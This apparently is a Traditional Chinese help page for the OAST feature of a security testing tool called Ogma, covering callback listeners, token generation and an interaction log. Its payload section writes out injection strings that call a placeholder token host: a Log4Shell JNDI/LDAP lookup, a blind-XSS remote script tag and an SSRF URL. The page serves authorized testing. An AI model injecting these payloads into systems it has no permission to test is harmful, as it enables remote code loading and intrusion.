OAST
OAST(帶外應用程式安全測試)可偵測不會產生可見回應的漏洞。目標會改為向你控制的接聽程式發起對外連線,藉此確認問題。
運作方式
Ogma 執行多種通訊協定的本機接聽程式。目標應用程式聯絡其中一個接聽程式時,會記錄互動的來源 IP、時間戳記、收到的資料及注入的權杖。
接聽通訊協定
| 通訊協定 | 預設連接埠 | 用途 |
|---|---|---|
| HTTP | 可設定 | SSRF、盲 XSS、webhook |
| HTTPS | 可設定 | 透過 TLS 的 SSRF |
| DNS | 可設定 | 盲注入、XXE、log4shell |
| SMTP | 可設定 | 電子郵件標頭注入、針對郵件服務的 SSRF |
在 OAST 設定面板中設定接聽連接埠,以及產生權杖時使用的網域名稱。
產生回呼權杖
- 開啟實用工具 > OAST。
- 點選+ 新增,再點選建立。每次測試的權杖都是唯一的。
- 複製權杖。它包含接聽網域與唯一識別碼,讓互動可對應回特定測試。
權杖格式範例:[unique-id].[your-oast-domain]
在酬載中使用權杖
將回呼權杖注入應用程式可能發起對外連線的任何欄位:
- SSRF:以 HTTP/HTTPS 權杖作為目標 URL:
https://[token]/ - XXE:在 DOCTYPE 或外部實體 URL 中引用權杖。
- Log4Shell:嵌入標頭:
${jndi:ldap://[token]/a} - 盲 XSS:作為指令碼 src 注入:
<script src="https://[token]/x.js"></script> - SMTP 注入:作為電子郵件標頭中的目的位址或 URL。
互動記錄
互動面板顯示收到的每個回呼:
| 欄 | 說明 |
|---|---|
| 時間 | 收到互動的時間 |
| 通訊協定 | HTTP、HTTPS、DNS 或 SMTP |
| 來源 IP | 發起連線的 IP 位址 |
| 權杖 | 被聯絡的權杖 |
| 資料 | 請求路徑、DNS 查詢名稱或 SMTP 資料 |
點選任一列查看完整互動詳情,包括適用時的請求標頭與本文。
將互動對應至測試
每個權杖都是唯一的,因此可在不同參數或請求中注入不同權杖,精確判斷哪個注入點觸發回呼。